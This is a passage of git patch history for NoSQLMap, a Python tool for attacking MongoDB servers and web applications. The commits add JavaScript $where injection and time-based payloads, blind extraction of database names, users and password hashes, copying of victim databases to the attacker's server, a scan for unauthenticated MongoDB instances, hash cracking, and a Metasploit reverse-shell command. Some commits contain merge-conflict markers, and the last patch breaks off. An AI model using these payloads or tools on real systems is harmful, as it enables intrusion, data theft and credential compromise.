int(len(urllib.urlopen(uriArray[4]).read())) + checkResult(randLength,injLen,testNum) + testNum += 1 + + print "\n" + if verb == "ON": + print "Testing Mongo <2.4 $where Javascript integer escape attack for one record...\n" + print " Injecting " + uriArray[5] + else: + print "Test 5: $where injection integer escape (single record)" + + injLen = int(len(urllib.urlopen(uriArray[5]).read())) + checkResult(randLength,injLen,testNum) + testNum +=1 - elif (whereThisIntDelta == 0): - print "Random string response size and this return response size were the same. Injection did not work." + print "\n" + if verb == "ON": + print "Testing Mongo this not equals string escape attack for all records..." + print " Injecting " + uriArray[6] + else: + print "Test 6: This != injection (string escape)" + injLen = int(len(urllib.urlopen(uriArray[6]).read())) + checkResult(randLength,injLen,testNum) + testNum += 1 - else: - print "Injected response was smaller than random response. Injection may have worked but requires verification." - possAddrs.append(uriArray[9]) + print "\n" + if verb == "ON": + print "Testing Mongo this not equals integer escape attack for all records..." + print " Injecting " + uriArray[7] + else: + print "Test 7: This != injection (integer escape)" + injLen = int(len(urllib.urlopen(uriArray[7]).read())) + checkResult(randLength,injLen,testNum) + testNum += 1 print "\n" - doTimeAttack = raw_input("Start timing based tests? ") + doTimeAttack = raw_input("Start timing based tests (y/n)? ") if doTimeAttack == "y" or doTimeAttack == "Y": print "Starting Javascript string escape time based injection..." start = time.time() - strTimeInj = urllib.urlopen(uriArray[6]) + strTimeInj = urllib.urlopen(uriArray[8]) page = strTimeInj.read() end = time.time() strTimeInj.close() @@ -632,7 +988,7 @@ def webApps(): print "Starting Javascript integer escape time based injection..." start = time.time() - intTimeInj = urllib.urlopen(uriArray[7]) + intTimeInj = urllib.urlopen(uriArray[9]) page = intTimeInj.read() end = time.time() intTimeInj.close() @@ -648,6 +1004,13 @@ def webApps(): print "HTTP load time variance was only " + str(intTimeDelta) + "seconds. Injection probably didn't work." intTbAttack = False + if lt24 == True: + bfInfo = raw_input("MongoDB < 2.4 detected. Start brute forcing database info (y/n)? ") + + if bfInfo == "y" or bfInfo == "Y": + getDBInfo() + + print "\n" print "Vunerable URLs:" print "\n".join(vulnAddrs) @@ -666,7 +1029,7 @@ def webApps(): else: print "Integer attack-Unsuccessful" - fileOut = raw_input("Save results to file?") + fileOut = raw_input("Save results to file (y/n)? ") if fileOut == "y" or fileOut == "Y": savePath = raw_input("Enter output file name: ") @@ -695,6 +1058,75 @@ def webApps(): raw_input("Press enter to continue...") return() +def checkResult(baseSize,respSize,testNum): + global vulnAddrs + global possAddrs + global lt24 + global str24 + global int24 + global httpMethod + global neDict + global postData + + delta = abs(respSize - baseSize) + if (delta >= 100) and (respSize != 0) : + if verb == "ON": + print "Response varied " + str(delta) + " bytes from random parameter value! Injection works!" + else: + print "Successful injection!" + + if httpMethod == "GET": + vulnAddrs.append(uriArray[testNum]) + else: + if testNum == 1: + vulnAddrs.append(str(neDict)) + else: + vulnAddrs.append(str(postData)) + + if testNum == 2 or testNum == 4: + lt24 = True + str24 = True + + elif testNum == 3 or testNum == 5: + lt24 = True + int24 = True + return + + elif (delta > 0) and (delta < 100) and (respSize != 0) : + if verb == "ON": + print "Response variance was only " + str(delta) + " bytes. Injection might have worked but difference is too small to be certain. " + else: + print "Possible injection." + + if httpMethod == "GET": + possAddrs.append(uriArray[testNum]) + else: + if testNum == 1: + possAddrs.append(str(neDict)) + else: + possAddrs.append(str(postData)) + return + + elif (delta == 0): + if verb == "ON": + print "Random string response size and not equals injection were the same. Injection did not work." + else: + print "Injection failed." + return + else: + if verb == "ON": + print "Injected response was smaller than random response. Injection may have worked but requires verification." + else: + print "Possible injection." + if httpMethod == "GET": + possAddrs.appends(uriArray[testNum]) + else: + if testNum == 1: + possAddrs.append(str(neDict)) + else: + possAddrs.append(str(postData)) + return + def randInjString(size): print "What format should the random string take?" print "1-Alphanumeric" @@ -720,8 +1152,7 @@ def randInjString(size): elif format == "4": chars = string.ascii_letters + string.digits - return ''.join(random.choice(chars) for x in range(size)) + '@' + ''.join(random.choice(chars) for x in range(size)) + '.com' - + return ''.join(random.choice(chars) for x in range(size)) + '@' + ''.join(random.choice(chars) for x in range(size)) + '.com' else: format = True print "Invalid selection." @@ -731,17 +1162,17 @@ def buildUri(origUri, randValue): paramName = [] paramValue = [] global uriArray - uriArray = ["","","","","","","","","","","","","",""] + uriArray = ["","","","","","","","","","","","","","","","","",""] injOpt = "" #Split the string between the path and parameters, and then split each parameter try: split_uri = origUri.split("?") params = split_uri[1].split("&") - + except: raw_input("Not able to parse the URL and parameters. Check options settings. Press enter to return to main menu...") - mainMenu() + return for item in params: index = item.find("=") @@ -754,18 +1185,14 @@ def buildUri(origUri, randValue): print str(menuItem) + "-" + params menuItem += 1 - - try: injIndex = raw_input("Which parameter should we inject? ") injOpt = str(paramName[int(injIndex)-1]) print "Injecting the " + injOpt + " parameter..." + except: raw_input("Something went wrong. Press enter to return to the main menu...") - mainMenu() - - #print "debug:" - #print split_uri[0] + return x = 0 uriArray[0] = split_uri[0] + "?" @@ -782,6 +1209,10 @@ def buildUri(origUri, randValue): uriArray[11] = split_uri[0] + "?" uriArray[12] = split_uri[0] + "?" uriArray[13] = split_uri[0] + "?" + uriArray[14] = split_uri[0] + "?" + uriArray[15] = split_uri[0] + "?" + uriArray[16] = split_uri[0] + "?" + uriArray[17] = split_uri[0] + "?" for item in paramName: if paramName[x] == injOpt: @@ -790,16 +1221,20 @@ def buildUri(origUri, randValue): uriArray[2] += paramName[x] + "=a'; return db.a.find(); var dummy='!" + "&" uriArray[3] += paramName[x] + "=1; return db.a.find(); var dummy=1" + "&" uriArray[4] += paramName[x] + "=a'; return db.a.findOne(); var dummy='!" + "&" - uriArray[5] += paramName[x] + "=a; return db.a.findOne(); var dummy=1" + "&" - uriArray[6] += paramName[x] + "=a'; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy='!" + "&" - uriArray[7] += paramName[x] + "=1; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=1" + "&" - uriArray[8] += paramName[x] + "=a'; return this.a != '" + randValue + "'; var dummy='!" + "&" - uriArray[9] += paramName[x] + "=1; return this.a !=" + randValue + "; var dummy=1" + "&" + uriArray[5] += paramName[x] + "=1; return db.a.findOne(); var dummy=1" + "&" + uriArray[6] += paramName[x] + "=a'; return this.a != '" + randValue + "'; var dummy='!" + "&" + uriArray[7] += paramName[x] + "=1; return this.a !=" + randValue + "; var dummy=1" + "&" + uriArray[8] += paramName[x] + "=a'; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy='!" + "&" + uriArray[9] += paramName[x] + "=1; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=1" + "&" uriArray[10] += paramName[x] + "=a\"; return db.a.find(); var dummy=\"!" + "&" uriArray[11] += paramName[x] + "=a\"; return this.a != '" + randValue + "'; var dummy=\"!" + "&" uriArray[12] += paramName[x] + "=a\"; return db.a.findOne(); var dummy=\"!" + "&" uriArray[13] += paramName[x] + "=a\"; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=\"!" + "&" - + uriArray[14] += paramName[x] + "a'; return true; var dum=a'" + uriArray[15] += paramName[x] + "1; return true; var dum=2" + #Add values that can be manipulated for database attacks + uriArray[16] += paramName[x] + "=a\'; ---" + uriArray[17] += paramName[x] + "=1; if ---" else: uriArray[0] += paramName[x] + "=" + paramValue[x] + "&" @@ -816,31 +1251,31 @@ def buildUri(origUri, randValue): uriArray[11] += paramName[x] + "=" + paramValue[x] + "&" uriArray[12] += paramName[x] + "=" + paramValue[x] + "&" uriArray[13] += paramName[x] + "=" + paramValue[x] + "&" - + uriArray[14] += paramName[x] + "=" + paramValue[x] + "&" + uriArray[15] += paramName[x] + "=" + paramValue[x] + "&" + uriArray[16] += paramName[x] + "=" + paramValue[x] + "&" + uriArray[17] += paramName[x] + "=" + paramValue[x] + "&" x += 1 #Clip the extra & off the end of the URL - uriArray[0]= uriArray[0][:-1] - uriArray[1] = uriArray[1][:-1] - uriArray[2] = uriArray[2][:-1] - uriArray[3] = uriArray[3][:-1] - uriArray[4] = uriArray[4][:-1] - uriArray[5] = uriArray[5][:-1] - uriArray[6] = uriArray[6][:-1] - uriArray[7] = uriArray[7][:-1] - uriArray[8] = uriArray[8][:-1] - uriArray[9] = uriArray[9][:-1] - uriArray[10] = uriArray[10][:-1] - uriArray[11] = uriArray[11][:-1] - uriArray[12] = uriArray[12][:-1] - uriArray[13] = uriArray[13][:-1] - return uriArray[0] + x = 0 + while x <= 17: + uriArray[x]= uriArray[x][:-1] + x += 1 + return uriArray[0] + def stealDBs(myDB): menuItem = 1 +<<<<<<< HEAD if optionSet[4] == False: raw_input("No destination database set! Press enter to return to the main menu.") mainMenu() +======= + if len(dbList) == 0: + print "Can't get a list of databases to steal. The provided credentials may not have rights." + return +>>>>>>> 0.3 for dbName in dbList: print str(menuItem) + "-" + dbName @@ -855,9 +1290,13 @@ def stealDBs(myDB): try: #Mongo can only pull, not push, connect to my instance and pull from verified open remote instance. - dbNeedCreds = raw_input("Does this database require credentials? ") + dbNeedCreds = raw_input("Does this database require credentials (y/n)? ") - if dbNeedCreds == "n" or dbNeedCreds == "N": + if dbNeedCreds == "n" or dbNeedCreds == "N": + if optionSet[4] == False: + raw_input("No IP specified to copy to! Press enter to return to main menu...") + return + myDBConn = pymongo.MongoClient(myDB,27017) myDBConn.copy_database(dbList[int(dbLoot)-1],dbList[int(dbLoot)-1] + "_stolen",victim) @@ -870,21 +1309,28 @@ def stealDBs(myDB): raw_input("Invalid Selection. Press enter to continue.") stealDBs(myDB) - cloneAnother = raw_input("Database cloned. Copy another? ") + cloneAnother = raw_input("Database cloned. Copy another (y/n)? ") if cloneAnother == "y" or cloneAnother == "Y": stealDBs(myDB) else: - return() + return except: if str(sys.exc_info()).find('text search not enabled') != -1: raw_input("Database copied, but text indexing was not enabled on the target. Indexes not moved. Press enter to return...") +<<<<<<< HEAD mainMenu() else: raw_input ("Something went wrong. Are you sure your MongoDB is running and options are set? Press enter to return...") mainMenu() +======= + return + else: + raw_input ("Something went wrong. Are you sure your MongoDB is running and options are set? Press enter to return...") + return +>>>>>>> 0.3 def massMongo(): global victim @@ -897,11 +1343,11 @@ def massMongo(): print "==============================" print "1-Scan a subnet for default MongoDB access" print "2-Loads IPs to scan from a file" + print "x-Return to main menu" while optCheck: loadOpt = raw_input("Select a scan method: ") - if loadOpt == "1": subnet = raw_input("Enter subnet to scan: ") @@ -911,12 +1357,15 @@ def massMongo(): optCheck = False except: raw_input("Not a valid subnet. Press enter to return to main menu.") - mainMenu() + return +<<<<<<< HEAD #print "Debug:" #print ipList +======= +>>>>>>> 0.3 if loadOpt == "2": while loadCheck == False: loadPath = raw_input("Enter file name with IP list to scan: ") @@ -928,6 +1377,9 @@ def massMongo(): optCheck = False except: print "Couldn't open file." + + if loadOpt == "x": + return print "\n" @@ -938,7 +1390,6 @@ def massMongo(): dbList = conn.database_names() print "Successful default access on " + target - target = target[:-1] success.append(target) conn.disconnect() @@ -959,13 +1410,13 @@ def massMongo(): select = raw_input("Select a NoSQLMap target or press x to exit: ") if select == "x" or select == "X": - mainMenu() + return elif select.isdigit() == True: victim = success[int(select) - 1] optionSet[0] = True raw_input("New target set! Press enter to return to the main menu.") - mainMenu() + return else: raw_input("Invalid selection.") @@ -973,7 +1424,6 @@ def massMongo(): def gen_pass(user, passw): return md5(user + ":mongo:" + str(passw)).hexdigest(); - def brute_pass(user,key): loadCheck = False @@ -986,7 +1436,6 @@ def brute_pass(user,key): except: print " Couldn't load file." - print "Running dictionary attack..." for passGuess in passList: temp = passGuess.split("\n")[0] @@ -998,4 +1447,220 @@ def brute_pass(user,key): print "Password not found for "+user return "" +def getDBInfo(): + curLen = 0 + nameLen = 0 + gotFullDb = False + gotNameLen = False + gotDbName = False + gotColLen = False + gotColName = False + gotUserCnt = False + finUser = False + dbName = "" + charCounter = 0 + nameCounter = 0 + usrCount = 0 + retrUsers = 0 + users = [] + hashes = [] + crackHash = "" + + chars = string.ascii_letters + string.digits + print "Getting baseline True query return size..." + trueUri = uriArray[16].replace("---","return true; var dummy ='!" + "&") + #print "Debug " + str(trueUri) + baseLen = int(len(urllib.urlopen(trueUri).read())) + print "Got baseline true query length of " + str(baseLen) + + print "Calculating DB name length..." + + while gotNameLen == False: + calcUri = uriArray[16].replace("---","var curdb = db.getName(); if (curdb.length ==" + str(curLen) + ") {return true;} var dum='a" + "&") + #print "Debug: " + calcUri + lenUri = int(len(urllib.urlopen(calcUri).read())) + #print "Debug length: " + str(lenUri) + + if lenUri == baseLen: + print "Got database name length of " + str(curLen) + " characters." + gotNameLen = True + + else: + curLen += 1 + + print "Database Name: ", + while gotDbName == False: + charUri = uriArray[16].replace("---","var curdb = db.getName(); if (curdb.charAt(" + str(nameCounter) + ") == '"+ chars[charCounter] + "') { return true; } var dum='a" + "&") + lenUri = int(len(urllib.urlopen(charUri).read())) + + if lenUri == baseLen: + dbName = dbName + chars[charCounter] + print chars[charCounter], + nameCounter += 1 + charCounter = 0 + + if nameCounter == curLen: + gotDbName = True + + + else: + charCounter += 1 + print "\n" + + getUserInf = raw_input("Get database users and password hashes (y/n)? ") + + if getUserInf == "y" or getUserInf == "Y": + charCounter = 0 + nameCounter = 0 + #find the total number of users on the database + while gotUserCnt == False: + usrCntUri = uriArray[16].replace("---","var usrcnt = db.system.users.count(); if (usrcnt == " + str(usrCount) + ") { return true; } var dum='a") + lenUri = int(len(urllib.urlopen(usrCntUri).read())) + + if lenUri == baseLen: + print "Found " + str(usrCount) + " user(s)." + gotUserCnt = True + + else: + usrCount += 1 + + usrChars = 0 #total number of characters in username + charCounterUsr = 0 #position in the character array-Username + rightCharsUsr = 0 #number of correct characters-Username + rightCharsHash = 0 #number of correct characters-hash + charCounterHash = 0 #position in the character array-hash + username = "" + pwdHash = "" + charCountUsr = False + query = "{}" + + while retrUsers < usrCount: + if retrUsers == 0: + while charCountUsr == False: + #different query to get the first user vs. others + usrUri = uriArray[16].replace("---","var usr = db.system.users.findOne(); if (usr.user.length == " + str(usrChars) + ") { return true; } var dum='a" + "&") + lenUri = int(len(urllib.urlopen(usrUri).read())) + + if lenUri == baseLen: + #Got the right number of characters + charCountUsr = True + + else: + usrChars += 1 + + while rightCharsUsr < usrChars: + usrUri = uriArray[16].replace("---","var usr = db.system.users.findOne(); if (usr.user.charAt(" + str(rightCharsUsr) + ") == '"+ chars[charCounterUsr] + "') { return true; } var dum='a" + "&") + lenUri = int(len(urllib.urlopen(usrUri).read())) + + if lenUri == baseLen: + username = username + chars[charCounterUsr] + #print username + rightCharsUsr += 1 + charCounterUsr = 0 + + else: + charCounterUsr += 1 + + retrUsers += 1 + users.append(username) + #reinitialize all variables and get ready to do it again + #print str(retrUsers) + #print str(users) + charCountUsr = False + rightCharsUsr = 0 + usrChars = 0 + username = "" + + while rightCharsHash < 32: #Hash length is static + hashUri = uriArray[16].replace("---","var usr = db.system.users.findOne(); if (usr.pwd.charAt(" + str(rightCharsHash) + ") == '"+ chars[charCounterHash] + "') { return true; } var dum='a" + "&") + lenUri = int(len(urllib.urlopen(hashUri).read())) + + if lenUri == baseLen: + pwdHash = pwdHash + chars[charCounterHash] + #print pwdHash + rightCharsHash += 1 + charCounterHash = 0 + + else: + charCounterHash += 1 + + hashes.append(pwdHash) + print "Got user:hash " + users[0] + ":" + hashes[0] + #reinitialize all variables and get ready to do it again + charCounterHash = 0 + rightCharsHash = 0 + pwdHash = "" + else: + while charCountUsr == False: + #different query to get the first user vs. others + usrUri = uriArray[16].replace("---","var usr = db.system.users.findOne({user:{$nin:" + str(users) + "}}); if (usr.user.length == " + str(usrChars) + ") { return true; } var dum='a" + "&") + lenUri = int(len(urllib.urlopen(usrUri).read())) + + if lenUri == baseLen: + #Got the right number of characters + charCountUsr = True + + else: + usrChars += 1 + + while rightCharsUsr < usrChars: + usrUri = uriArray[16].replace("---","var usr = db.system.users.findOne({user:{$nin:" + str(users) + "}}); if (usr.user.charAt(" + str(rightCharsUsr) + ") == '"+ chars[charCounterUsr] + "') { return true; } var dum='a" + "&") + lenUri = int(len(urllib.urlopen(usrUri).read())) + + if lenUri == baseLen: + username = username + chars[charCounterUsr] + #print username + rightCharsUsr += 1 + charCounterUsr = 0 + + else: + charCounterUsr += 1 + + retrUsers += 1 + #reinitialize all variables and get ready to do it again + + charCountUsr = False + rightCharsUsr = 0 + usrChars = 0 + + while rightCharsHash < 32: #Hash length is static + hashUri = uriArray[16].replace("---","var usr = db.system.users.findOne({user:{$nin:" + str(users) + "}}); if (usr.pwd.charAt(" + str(rightCharsHash) + ") == '"+ chars[charCounterHash] + "') { return true; } vardum='a" + "&") + lenUri = int(len(urllib.urlopen(hashUri).read())) + + if lenUri == baseLen: + pwdHash = pwdHash + chars[charCounterHash] + rightCharsHash += 1 + charCounterHash = 0 + + else: + charCounterHash += 1 + + users.append(username) + hashes.append(pwdHash) + print "Got user:hash " + users[retrUsers-1] + ":" + hashes[retrUsers-1] + #reinitialize all variables and get ready to do it again + username = "" + charCounterHash = 0 + rightCharsHash = 0 + pwdHash = "" + crackHash = raw_input("Crack recovered hashes (y/n)?: ") + + while crackHash == "y" or crackHash == "Y": + menuItem = 1 + for user in users: + print str(menuItem) + "-" + user + menuItem +=1 + + userIndex = raw_input("Select user hash to crack: ") + brute_pass(users[int(userIndex)-1],hashes[int(userIndex)-1]) + + crackHash = raw_input("Crack another hash (y/n)?") + raw_input("Press enter to continue...") + return + +def signal_handler(signal, frame): + print "\n" + print "CTRL+C detected. Exiting." + sys.exit() +signal.signal(signal.SIGINT, signal_handler) mainMenu() From 71cb43dafe6a562d9f97c42ba9b07b277b63cffb Mon Sep 17 00:00:00 2001 From: tcstool Date: Fri, 28 Mar 2014 16:40:54 -0500 Subject: [PATCH 046/207] Remove Git notations --- nosqlmap.py | 2 -- 1 file changed, 2 deletions(-) diff --git a/nosqlmap.py b/nosqlmap.py index 251a3b5..2ab5b25 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -103,7 +103,6 @@ def mainMenu(): def options(): -<<<<<<< HEAD ======= global victim global webPort @@ -115,7 +114,6 @@ def options(): global verb global mmSelect global dbPort ->>>>>>> 0.3 #Set default value if needed if optionSet[0] == False: From 3a2d07939ab62931021a66551dc4262126fe9bd3 Mon Sep 17 00:00:00 2001 From: tcstool Date: Fri, 28 Mar 2014 16:43:59 -0500 Subject: [PATCH 047/207] README updates --- README.md | 7 +++++-- nosqlmap.py | 6 +++--- 2 files changed, 8 insertions(+), 5 deletions(-) diff --git a/README.md b/README.md index 19b4d83..306a262 100644 --- a/README.md +++ b/README.md @@ -1,7 +1,7 @@ NoSQLMap ======== -[NoSQLMap](http://www.nosqlmap.net) v0.2 +[NoSQLMap](http://www.nosqlmap.net) v0.3 Introduction ============ @@ -22,6 +22,10 @@ Varies based on features used: There are some various other libraries required that a normal Python installation should have readily available. Your milage may vary, check the script. +Setup +============ +An experimental setup.sh script for Debian and Red Hat based systems is included. Any feedback or suggestions on improving this process is welcome. + Usage ===== @@ -47,7 +51,6 @@ NoSQLMap uses a menu based system for building attacks. Upon starting NoSQLMap x-Exit ``` -**ALWAYS USE OPTION 1 FIRST TO SET THE PARAMETERS!** Explanation of options: ``` diff --git a/nosqlmap.py b/nosqlmap.py index 1a5288f..11f0ce6 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -1,5 +1,5 @@ #!/usr/bin/python -#NoSQLMap Copyright 2013 Russell Butturini +#NoSQLMap Copyright 2014 Russell Butturini #This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by #the Free Software Foundation, either version 3 of the License, or @@ -974,7 +974,7 @@ def getApps(): strTbAttack = True else: - print "HTTP load time variance was only " + str(strTimeDelta) + ". Injection probably didn't work." + print "HTTP load time variance was only " + str(strTimeDelta) + " seconds. Injection probably didn't work." strTbAttack = False print "Starting Javascript integer escape time based injection..." @@ -992,7 +992,7 @@ def getApps(): intTbAttack = True else: - print "HTTP load time variance was only " + str(intTimeDelta) + "seconds. Injection probably didn't work." + print "HTTP load time variance was only " + str(intTimeDelta) + " seconds. Injection probably didn't work." intTbAttack = False if lt24 == True: From 97a59ff4b63f0aa648277c75c6792c0b83787f48 Mon Sep 17 00:00:00 2001 From: tcstool Date: Fri, 28 Mar 2014 16:47:53 -0500 Subject: [PATCH 048/207] Remove more Git markup --- nosqlmap.py | 19 ++----------------- 1 file changed, 2 insertions(+), 17 deletions(-) diff --git a/nosqlmap.py b/nosqlmap.py index 6c63da3..1a6c233 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -1265,15 +1265,13 @@ def buildUri(origUri, randValue): def stealDBs(myDB): menuItem = 1 -<<<<<<< HEAD if optionSet[4] == False: raw_input("No destination database set! Press enter to return to the main menu.") mainMenu() -======= + if len(dbList) == 0: print "Can't get a list of databases to steal. The provided credentials may not have rights." return ->>>>>>> 0.3 for dbName in dbList: print str(menuItem) + "-" + dbName @@ -1318,17 +1316,11 @@ def stealDBs(myDB): except: if str(sys.exc_info()).find('text search not enabled') != -1: raw_input("Database copied, but text indexing was not enabled on the target. Indexes not moved. Press enter to return...") -<<<<<<< HEAD - mainMenu() - else: - raw_input ("Something went wrong. Are you sure your MongoDB is running and options are set? Press enter to return...") - mainMenu() -======= return + else: raw_input ("Something went wrong. Are you sure your MongoDB is running and options are set? Press enter to return...") return ->>>>>>> 0.3 def massMongo(): global victim @@ -1357,13 +1349,6 @@ def massMongo(): raw_input("Not a valid subnet. Press enter to return to main menu.") return -<<<<<<< HEAD - - #print "Debug:" - #print ipList - -======= ->>>>>>> 0.3 if loadOpt == "2": while loadCheck == False: loadPath = raw_input("Enter file name with IP list to scan: ") From 40fe653781e830ec14f48105a44430673a1e72f1 Mon Sep 17 00:00:00 2001 From: tcstool Date: Fri, 28 Mar 2014 16:51:08 -0500 Subject: [PATCH 049/207] more Git markup --- nosqlmap.py | 1 - 1 file changed, 1 deletion(-) diff --git a/nosqlmap.py b/nosqlmap.py index 1a6c233..f02e762 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -103,7 +103,6 @@ def mainMenu(): def options(): -======= global victim global webPort global uri From a0fb1bccaac3c5486332af5fa9ea6b623d12f994 Mon Sep 17 00:00:00 2001 From: Akash Date: Tue, 8 Apr 2014 23:37:45 +0530 Subject: [PATCH 050/207] Replaced 'y' Or 'Y' with yes, no tags --- nosqlmap.py | 36 ++++++++++++++++++++---------------- 1 file changed, 20 insertions(+), 16 deletions(-) diff --git a/nosqlmap.py b/nosqlmap.py index f02e762..2eaa203 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -35,6 +35,10 @@ #Set a list so we can track whether options are set or not to avoid resetting them in subsequent cals to the options menu. global optionSet optionSet = [False,False,False,False,False,False,False,False] +global yes_tag +global no_tag +yes_tag = ['y', 'Y'] +no_tag = ['n', 'N'] global victim global webPort global uri @@ -373,7 +377,7 @@ def netAttacks(target): srvNeedCreds = raw_input("Does the database server need credentials (y/n)? ") - if srvNeedCreds == "n" or srvNeedCreds == "N": + if srvNeedCreds in no_tag: try: conn = pymongo.MongoClient(target,dbPort) @@ -383,7 +387,7 @@ def netAttacks(target): except: print "MongoDB port closed." - elif srvNeedCreds == "y" or srvNeedCreds == "Y": + elif srvNeedCreds in yes_tag: srvUser = raw_input("Enter server username: ") srvPass = raw_input("Enter server password: ") uri = "mongodb://" + srvUser + ":" + srvPass + "@" + victim +"/" @@ -406,7 +410,7 @@ def netAttacks(target): print "MongoDB web management open at " + mgtUrl + ". No authentication required!" testRest = raw_input("Start tests for REST Interface (y/n)? ") - if testRest == "y" or testRest == "Y": + if testRest in yes_tag: restUrl = mgtUrl + "/listDatabases?text=1" restResp = urllib.urlopen(restUrl).read() restOn = restResp.find('REST is not enabled.') @@ -471,7 +475,7 @@ def netAttacks(target): print "\n" crack = raw_input("Crack this hash (y/n)? ") - if crack == "y": + if crack in yes_tag: brute_pass(users[x]['user'],users[x]['pwd']) except: @@ -482,7 +486,7 @@ def netAttacks(target): testGrid = raw_input("Check for GridFS (y/n)? ") - if testGrid == "y" or testGrid == "Y": + if testGrid in yes_tag: try: for dbItem in dbList: try: @@ -500,12 +504,12 @@ def netAttacks(target): stealDB = raw_input("Steal a database (y/n-Requires your own Mongo server)?: ") - if stealDB == "y" or stealDB == "Y": + if stealDB in yes_tag: stealDBs (myIP) getShell = raw_input("Try to get a shell? (y/n-Requrires mongoDB <2.2.4)? ") - if getShell == "y" or getShell == "Y": + if getShell in yes_tag: #Launch Metasploit exploit try: proc = subprocess.call("msfcli exploit/linux/misc/mongod_native_helper RHOST=" + str(victim) +" DB=local PAYLOAD=linux/x86/shell/reverse_tcp LHOST=" + str(myIP) + " LPORT="+ str(myPort) + " E", shell=True) @@ -783,7 +787,7 @@ def postApps(): fileOut = raw_input("Save results to file (y/n)? ") - if fileOut == "y" or fileOut == "Y": + if fileOut in yes_tag: savePath = raw_input("Enter output file name: ") fo = open(savePath, "wb") fo.write ("Vulnerable Requests:\n") @@ -964,7 +968,7 @@ def getApps(): print "\n" doTimeAttack = raw_input("Start timing based tests (y/n)? ") - if doTimeAttack == "y" or doTimeAttack == "Y": + if doTimeAttack in yes_tags: print "Starting Javascript string escape time based injection..." start = time.time() strTimeInj = urllib.urlopen(uriArray[8]) @@ -1004,7 +1008,7 @@ def getApps(): if lt24 == True: bfInfo = raw_input("MongoDB < 2.4 detected. Start brute forcing database info (y/n)? ") - if bfInfo == "y" or bfInfo == "Y": + if bfInfo in yes_tag: getDBInfo() @@ -1028,7 +1032,7 @@ def getApps(): fileOut = raw_input("Save results to file (y/n)? ") - if fileOut == "y" or fileOut == "Y": + if fileOut in yes_tag: savePath = raw_input("Enter output file name: ") fo = open(savePath, "wb") fo.write ("Vulnerable URLs:\n") @@ -1287,7 +1291,7 @@ def stealDBs(myDB): #Mongo can only pull, not push, connect to my instance and pull from verified open remote instance. dbNeedCreds = raw_input("Does this database require credentials (y/n)? ") - if dbNeedCreds == "n" or dbNeedCreds == "N": + if dbNeedCreds in no_tag: if optionSet[4] == False: raw_input("No IP specified to copy to! Press enter to return to main menu...") return @@ -1295,7 +1299,7 @@ def stealDBs(myDB): myDBConn = pymongo.MongoClient(myDB,27017) myDBConn.copy_database(dbList[int(dbLoot)-1],dbList[int(dbLoot)-1] + "_stolen",victim) - elif dbNeedCreds == "y" or dbNeedCreds == "Y": + elif dbNeedCreds in yes_tag: dbUser = raw_input("Enter database username: ") dbPass = raw_input("Enter database password: ") myDBConn.copy_database(dbList[int(dbLoot)-1],dbList[int(dbLoot)-1] + "_stolen",victim,dbUser,dbPass) @@ -1306,7 +1310,7 @@ def stealDBs(myDB): cloneAnother = raw_input("Database cloned. Copy another (y/n)? ") - if cloneAnother == "y" or cloneAnother == "Y": + if cloneAnother in yes_tag: stealDBs(myDB) else: @@ -1491,7 +1495,7 @@ def getDBInfo(): getUserInf = raw_input("Get database users and password hashes (y/n)? ") - if getUserInf == "y" or getUserInf == "Y": + if getUserInf in yes_tag: charCounter = 0 nameCounter = 0 #find the total number of users on the database @@ -1627,7 +1631,7 @@ def getDBInfo(): pwdHash = "" crackHash = raw_input("Crack recovered hashes (y/n)?: ") - while crackHash == "y" or crackHash == "Y": + while crackHash in yes_tag: menuItem = 1 for user in users: print str(menuItem) + "-" + user From a7cc953786116dc6345b6260269c85071f9bcd10 Mon Sep 17 00:00:00 2001 From: mark-a Date: Tue, 15 Apr 2014 13:49:19 +0200 Subject: [PATCH 051/207] Update nosqlmap.py Fixed typo in yes_tag array name. --- nosqlmap.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nosqlmap.py b/nosqlmap.py index 2eaa203..abd4c22 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -968,7 +968,7 @@ def getApps(): print "\n" doTimeAttack = raw_input("Start timing based tests (y/n)? ") - if doTimeAttack in yes_tags: + if doTimeAttack in yes_tag: print "Starting Javascript string escape time based injection..." start = time.time() strTimeInj = urllib.urlopen(uriArray[8]) From 6e0f20496e3b078c0ff9a131c36541ceee782695 Mon Sep 17 00:00:00 2001 From: tcstool Date: Wed, 30 Apr 2014 09:46:36 -0500 Subject: [PATCH 052/207] Fix two bugs if app is down --- nosqlmap.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/nosqlmap.py b/nosqlmap.py index abd4c22..077a923 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -60,7 +60,7 @@ def mainMenu(): print "| |\ | (_) /\__/ /\ \/' / |____| | | | (_| | |_) |" print "\_| \_/\___/\____/ \_/\_\_____/\_| |_/\__,_| .__/" print "====================================================" - print "NoSQLMap-v0.3" + print "NoSQLMap-v0.31" print "nosqlmap@gmail.com" print "\n" print "1-Set options" @@ -567,7 +567,7 @@ def postApps(): print "App is up!" appUp = True else: - print "Got " + appRespCode + "from the app, check your options." + print "Got " + str(appRespCode) + "from the app, check your options." except: print "Looks like the server didn't respond. Check your options." @@ -863,7 +863,7 @@ def getApps(): appUp = True else: - print "Got " + appRespCode + "from the app, check your options." + print "Got " + str(appRespCode) + "from the app, check your options." except: print "Looks like the server didn't respond. Check your options." From 7d79c8d7ac2a1ddc8b23ea4109e36243960e75e8 Mon Sep 17 00:00:00 2001 From: tcstool Date: Sun, 4 May 2014 14:01:35 -0500 Subject: [PATCH 053/207] Add patch fixes for 0.4 development --- nosqlmap.py | 8 ++++---- 1 file changed, 4 